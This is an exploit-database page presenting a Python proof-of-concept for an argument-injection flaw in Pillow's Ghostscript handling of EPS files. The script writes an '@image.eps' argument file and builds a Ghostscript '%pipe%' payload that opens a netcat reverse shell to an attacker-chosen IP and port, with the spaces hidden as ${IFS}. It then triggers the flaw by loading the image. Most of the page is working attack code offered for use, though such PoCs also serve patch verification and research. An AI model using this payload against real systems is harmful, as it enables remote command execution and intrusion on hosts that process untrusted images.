Exploit database

GH-3a5ca2dd0c80db2ce5def60dc0d94e53

kavin-jindal/cve-2026-112900-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-112900

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
kavin-jindal/cve-2026-112900-pocRevision 1cf23855c16c

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Python · 1,886 bytes
# Exploit Title: Argument Injection in Pillow's Ghostscript call leading to potential RCE
# Date: 2026-10-25
# Exploit Author: Kavin Jindal (Avyukt Security) https://www.linkedin.com/in/kavin-jindal/
# Vendor Homepage: https://python-pillow.org/
# Software Link: https://pypi.org/project/Pillow/
# Version: < 13.0.0
# Tested on: Linux-7.1.5 (Kali Linux)
# CVE: CVE-2026-112900
# Reference: https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh
# Description:
# An EPS filename beginning with a hyphen (-) and containing
# an at sign (@) may be interpreted as a Ghostscript option
# or argument-file reference in vulnerable Pillow versions,
# potentially leading to arbitrary command execution.
from packaging.version import Version
import PIL
import platform
import sys
from PIL import Image

IP = "YOUR_IP"
PORT="YOUR_PORT"
print(f"Python: {sys.version.split()[0]}")
print(f"Pillow: {PIL.__version__}")
print(f"OS: {platform.platform()}")

if Version(PIL.__version__) < Version("13.0.0"):
    print("[!] Potentially vulnerable Pillow version")
else:
    print("Pillow is not vulnerable (>=13.0.0)")

    sys.exit(0)

# change the header below as per your choice
eps_header = """%!PS-Adobe-3.0
%%Title: <TITLE>
%%Creator: Your Application Name
%%CreationDate: Sunday, October 25, 2026
%%Pages: 1
%%BoundingBox: 0 0 612 792
%%DocumentData: Clean7Bit
%%LanguageLevel: 3
%%EndComments"""

# change the filename as per your choice
with open("@image.eps", "w") as f:
	f.write(eps_header)

# original payload: nc IP PORT -e /usr/bin/sh
pipe_payload=f"nc${{IFS}}{IP}${{IFS}}{PORT}${{IFS}}-e${{IFS}}/usr/bin/sh"
payload = f"""-sOutputFile=%pipe%{pipe_payload}
-c
1
dict
dup
/OutputFile
(%pipe%{pipe_payload})
put
setpagedevice
"""
with open("image.eps", "w") as f_r:
	f_r.write(payload)

im = Image.open("@image.eps")
try:
	im.load()
except Exception as e:
	print(e)